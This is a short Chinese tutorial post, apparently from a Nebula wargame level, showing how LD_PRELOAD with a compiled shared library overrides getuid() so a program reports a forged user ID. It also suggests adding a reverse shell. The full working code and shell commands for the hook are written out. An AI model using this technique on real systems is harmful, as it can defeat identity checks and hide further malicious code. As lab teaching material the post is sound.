zoukankan      html  css  js  c++  java
  • 一种简单的hook方法--LD_PRELOAD变量

    LD_PRELOAD这个变量允许你定义在程序运行时优先加载的动态链接库,从而在程序运行时的动态链接

    下面程序的看一个例子-getuid.c

    //getuid.c
    
    #include<stdio.h>
    #include<unistd.h>
    #include<sys/types.h>
    int main(void)
    {
      printf("my uid is %d
    ",getuid());
    }

    //gcc -o getuid getuid.c

    这段程序很简单,就是获取当前的uid

    level13@nebula:/tmp$ ./getuid
    my uid is 1014
    level13@nebula:/tmp$ id
    uid=1014(level13) gid=1014(level13) groups=1014(level13)

    运行后确实拿到了当前用户的uid,下面就通过LD_PRELOAD变量来劫持系统原来的getuid函数,从而改变返回结果

    一、编写恶意getuid()函数

    //muid.c
    
    #include<sys/types.h>
    uid_t getuid(void)
    {
      return 1000;
    }

    //gcc -shared -lc -fPIC -o muid.so muid.c

    我们让恶意getuid函数返回1000这个值

    二、修改LD_PRELOAD变量

    level13@nebula:/tmp$ LD_PRELOAD="/tmp/muid.so"
    level13@nebula:/tmp$ export LD_PRELOAD

    把LD_PRELOAD变量指向我们编译好的恶意getuid函数库

    三、运行getuid程序

    level13@nebula:/tmp$ ./getuid 
    my uid is 1000

    可以看到这里getuid函数已经被劫持了,返回了我们想要的uid值,顺利hook该函数

    我们也可以加入更多恶意代码,比如返弹shell等,经过测试,这种方式可以劫持大部分系统函数,其他理由有待深入挖掘

  • 相关阅读:
    python 线程队列、线程池、全局解释器锁GIL
    java Cookie 获取历史记录列表(三)
    Java中如何读写cookie (二)
    java读取和写入浏览器Cookies
    zookeeper的安装和部署
    Spring Boot 多模块项目创建与配置 (一)
    十款效果惊艳的Html案例(一)
    phython
    阿里高并发所用到的技术
    Java9新特性
  • 原文地址:https://www.cnblogs.com/zlgxzswjy/p/10399996.html
Copyright © 2011-2022 走看看